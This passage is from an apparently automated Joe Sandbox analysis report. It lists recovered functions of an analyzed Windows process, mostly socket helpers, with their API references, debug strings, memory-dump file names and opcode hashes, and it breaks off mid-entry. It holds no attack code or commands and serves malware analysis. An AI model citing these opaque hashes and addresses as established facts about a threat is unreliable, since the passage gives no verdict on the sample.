WSAGetLastError.WS2_32 ref: 00007FFB23B0143D

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

Strings

[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB23B01454
sock_set_blocking, xrefs: 00007FFB23B0144D

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: d07cda9d40d31cfdc9b069523c433419c4783620534121b2c80ab477b358fdb1
Instruction ID: 6276aa7221a2ad8c577479981e1dac2d5c08b34672cab2f1d9fc2df518dbecd2
Opcode Fuzzy Hash: d07cda9d40d31cfdc9b069523c433419c4783620534121b2c80ab477b358fdb1
Instruction Fuzzy Hash: 9FF0A4E9F0818242F3525F7AEC8826D5560ABD4794F584271DC9DA37A4DD3CD9478B00

Function 00007FFB227056D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FFB227056FF
WSAGetLastError.WS2_32 ref: 00007FFB2270571D

Part of subcall function 00007FFB227040D2: fwrite.MSVCRT ref: 00007FFB2270417E
Part of subcall function 00007FFB227040D2: fflush.MSVCRT ref: 00007FFB2270418A

Strings

[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB22705734
sock_set_blocking, xrefs: 00007FFB2270572D

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: 00d460c4fe4838d49839943e88ea8a833d56d9e0a9063ae5a2ee6931c4e697ba
Instruction ID: b41f18537b9135d42eae21ca1a80508e356c5d966872a37880d60f7684e612a4
Opcode Fuzzy Hash: 00d460c4fe4838d49839943e88ea8a833d56d9e0a9063ae5a2ee6931c4e697ba
Instruction Fuzzy Hash: 3BF0C2A1B0C18382F7264B3AEC001AA5260AF95794F105231EC5ED37B4EEBCED4A8700

Function 00007FFB23AD3F89 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FFB23AD3FAF
WSAGetLastError.WS2_32 ref: 00007FFB23AD3FCD

Part of subcall function 00007FFB23AD1352: fwrite.MSVCRT ref: 00007FFB23AD13FE
Part of subcall function 00007FFB23AD1352: fflush.MSVCRT ref: 00007FFB23AD140A

Strings

sock_set_blocking, xrefs: 00007FFB23AD3FDD
[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB23AD3FE4

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: e8f7cbe0bc8c4c9985ebff542f77ee412fddaab2700f1b70fc6427175aa74bf1
Instruction ID: 98367d526835af6edd6b42942910703b5fc736fd21470e083f67d22299f8ce53
Opcode Fuzzy Hash: e8f7cbe0bc8c4c9985ebff542f77ee412fddaab2700f1b70fc6427175aa74bf1
Instruction Fuzzy Hash: CEF0C8E1A0C68A46F3125739EC0016D5270AB89754F1C8171EC2EAB7D4DE3CD8478701

Function 00007FFB2273ADDA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB2273AE0A
WSAGetLastError.WS2_32 ref: 00007FFB2273AE21

Strings

tcp_set_nodelay, xrefs: 00007FFB2273AE31
[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB2273AE38

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: 87f38eb7fd0f74bec9fea3f6154acb28a59bfe47ff522814eac0aa74667299b7
Instruction ID: 135077a912624b6de6e1d03d19766d0e20a95a36f5286c797b31d6c83160a876
Opcode Fuzzy Hash: 87f38eb7fd0f74bec9fea3f6154acb28a59bfe47ff522814eac0aa74667299b7
Instruction Fuzzy Hash: 1BF0C2E1B1C1828AF3115F35EC011A66661AB85764F008235ED6DC37B4DFBCDD49CB01

Function 00007FFB22761ECA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB22761EFA
WSAGetLastError.WS2_32 ref: 00007FFB22761F11

Strings

tcp_set_nodelay, xrefs: 00007FFB22761F21
[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB22761F28

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: cafee47a4d8f4d8fbbff5e8d954c9ae92a2b048fd6e36d43f06f973e8104f05d
Instruction ID: 1705a341125fd55fa4abe7c7f8bdc3a3017c6993c7866af0aa6dc8428763f47d
Opcode Fuzzy Hash: cafee47a4d8f4d8fbbff5e8d954c9ae92a2b048fd6e36d43f06f973e8104f05d
Instruction Fuzzy Hash: B6F062E1E1D1828AF3115B35EC446B56660AB8A754F504231EE6DC37B4DFBCDD468B01

Function 00007FFB23AB27EA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB23AB281A
WSAGetLastError.WS2_32 ref: 00007FFB23AB2831

Strings

[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB23AB2848
tcp_set_nodelay, xrefs: 00007FFB23AB2841

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: 0f2572865ae401fbe053a1d484b6772c666df8ec2b438324ddcda121cf04f42d
Instruction ID: d8125c22e03ad280d218714a0ea1099f018777b639e7b767fc13fabbfabc8d84
Opcode Fuzzy Hash: 0f2572865ae401fbe053a1d484b6772c666df8ec2b438324ddcda121cf04f42d
Instruction Fuzzy Hash: A9F0F6A1A185828AF3129B39FC001AD2661FB96790F4C4372ED5D937A8DE3CD94ACB00

Function 00007FFB23B0152A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB23B0155A
WSAGetLastError.WS2_32 ref: 00007FFB23B01571

Strings

tcp_set_nodelay, xrefs: 00007FFB23B01581
[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB23B01588

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: 2156d381e365d76bfe4c4005c088272f3c0c4caa9123f0b2749b6901f7b553e8
Instruction ID: 859e40e48b92740027e26034a23128ab5fbbb9e53bab87501dff6e85b048aca6
Opcode Fuzzy Hash: 2156d381e365d76bfe4c4005c088272f3c0c4caa9123f0b2749b6901f7b553e8
Instruction Fuzzy Hash: 70F0C8A9B1818245F3115F36FC487AD6660AB88794F084271ED9D97794DA3CD5468700

Function 00007FFB2270580A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB2270583A
WSAGetLastError.WS2_32 ref: 00007FFB22705851

Strings

[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB22705868
tcp_set_nodelay, xrefs: 00007FFB22705861

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: 0c760a2491ec1280324f3795e5dc2014b47fab201f17b75a483c0193ca51d165
Instruction ID: 93877306d660fe15ff438892448d119f98e88ec1f34b1f7def4316ee483a6841
Opcode Fuzzy Hash: 0c760a2491ec1280324f3795e5dc2014b47fab201f17b75a483c0193ca51d165
Instruction Fuzzy Hash: 1AF096A1A0C1824AF3515F39EC046A66660BB95764F044235ED6DD37F8DFBCDE4ACB00

Function 00007FFB23AD40BA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB23AD40EA
WSAGetLastError.WS2_32 ref: 00007FFB23AD4101

Strings

[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB23AD4118
tcp_set_nodelay, xrefs: 00007FFB23AD4111

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: 2ecdd9a7b9264e0365a5f3af328cace33ba77b0b828d794daba4b7fe4da9abe9
Instruction ID: 6688baaaebf006e43fa92b8de6dc869e7024706757580b6bd42caea1e55d768e
Opcode Fuzzy Hash: 2ecdd9a7b9264e0365a5f3af328cace33ba77b0b828d794daba4b7fe4da9abe9
Instruction Fuzzy Hash: 80F0BBE1B1858686F3515F35FC005AE6660BB89754F088271ED5D93BD8DE7CD54BC700

Function 00007FFB23B01596 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB23B015BE
WSAGetLastError.WS2_32 ref: 00007FFB23B015D5

Strings

tcp_set_keepalive, xrefs: 00007FFB23B015E5
[E] (%s) -> setsockopt(SO_KEEPALIVE) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB23B015EC

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_KEEPALIVE) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_keepalive
API String ID: 1729277954-536111009
Opcode ID: 2981db8f2838b7486ab9c45c532dcc9a6aa6a7f2e2118b4602ae2fd4717bb2ba
Instruction ID: 1f6b1c8258f58e78c704cb54193144f554c075fa8051882ce6a7b40f2a62828f
Opcode Fuzzy Hash: 2981db8f2838b7486ab9c45c532dcc9a6aa6a7f2e2118b4602ae2fd4717bb2ba
Instruction Fuzzy Hash: 24F02BE5B1818245F3115F76FC4826DA660BF84790F084371EDEDA37A4DE3CC44A8B00

Function 00007FFB23B0B132 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 72stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FFB23B0B16B
strchr.MSVCRT ref: 00007FFB23B0B1B7

Strings

[D] (%s) -> %s, xrefs: 00007FFB23B0B1D8
sam3_recv_rsp, xrefs: 00007FFB23B0B1D1

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: memsetstrchr
String ID: [D] (%s) -> %s$sam3_recv_rsp
API String ID: 2564583029-4292814133
Opcode ID: 18f10caa532e71d15769896ad8283505a8c7416f1da4c2eea4d9cbebd4928a5e
Instruction ID: 5f1a711e844962cd0f2e5709707717de7ef323f8f7103318b58df737ce1a8e9f
Opcode Fuzzy Hash: 18f10caa532e71d15769896ad8283505a8c7416f1da4c2eea4d9cbebd4928a5e
Instruction Fuzzy Hash: A8216A99F2C5C641FA229D3ADC9837D15406F067B0E1C43B0EEFA6A6D2ED2CE8428341

Function 00007FFB2273A250 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FFB2273A289
LeaveCriticalSection.KERNEL32 ref: 00007FFB2273A30B

Strings

ebus_dispatch, xrefs: 00007FFB2273A2EF
[D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x), xrefs: 00007FFB2273A2F6

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: [D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x)$ebus_dispatch
API String ID: 3168844106-1717220914
Opcode ID: 00b18d80a2ce8de70707daa5c040a2e4e9a725a2a8e4c899eaff6c951d948494
Instruction ID: dfa25a7202e20fb887d6292f71fada32a65d2b5bcd12f81626e5feb98f9d436c
Opcode Fuzzy Hash: 00b18d80a2ce8de70707daa5c040a2e4e9a725a2a8e4c899eaff6c951d948494
Instruction Fuzzy Hash: 0D216AB2A0CA8282FB128F21EC40229A360FB56B84F144135DE9D87674DF7CDC51C701

Function 00007FFB22761290 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FFB227612C9
LeaveCriticalSection.KERNEL32 ref: 00007FFB2276134B

Strings

ebus_dispatch, xrefs: 00007FFB2276132F
[D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x), xrefs: 00007FFB22761336

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: [D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x)$ebus_dispatch
API String ID: 3168844106-1717220914
Opcode ID: 52d7cadc6e4a4563d1bf88b7a5cf4bb1403956c0898b62c4c6cc599e28dd278a
Instruction ID: 5e7fc8c48d63ed2967bd12ab99dfa3a6a43153d15143cf6240371efd464614d5
Opcode Fuzzy Hash: 52d7cadc6e4a4563d1bf88b7a5cf4bb1403956c0898b62c4c6cc599e28dd278a
Instruction Fuzzy Hash: 0D2137B2E0CA8281FB228F22ED401796360FB4AB94B184135DA5EC77B4DF6CE845C700

Function 00007FFB23B05F90 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FFB23B05FC9
LeaveCriticalSection.KERNEL32 ref: 00007FFB23B0604B

Strings

ebus_dispatch, xrefs: 00007FFB23B0602F
[D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x), xrefs: 00007FFB23B06036

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: [D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x)$ebus_dispatch
API String ID: 3168844106-1717220914
Opcode ID: a5014c7dabb765b7192ccb149263f2c28acd9e4aea2dda15328cf532619ffb35
Instruction ID: c62810fc30bf20cc5a5f028365c1913780bc448529e9b86ed53dfe95ae1d0b82
Opcode Fuzzy Hash: a5014c7dabb765b7192ccb149263f2c28acd9e4aea2dda15328cf532619ffb35
Instruction Fuzzy Hash: CC2162B6A08AC281E7528F31EC8827D6360FB84B94F184176DACD67B68DF3CD945C700

Function 00007FFB22701290 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FFB227012C9
LeaveCriticalSection.KERNEL32 ref: 00007FFB2270134B

Strings

[D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x), xrefs: 00007FFB22701336
ebus_dispatch, xrefs: 00007FFB2270132F

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: [D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x)$ebus_dispatch
API String ID: 3168844106-1717220914
Opcode ID: 55810baa1d20f1e5c1a0b1440629255b865e57286b9525177a27e918bacad5d4
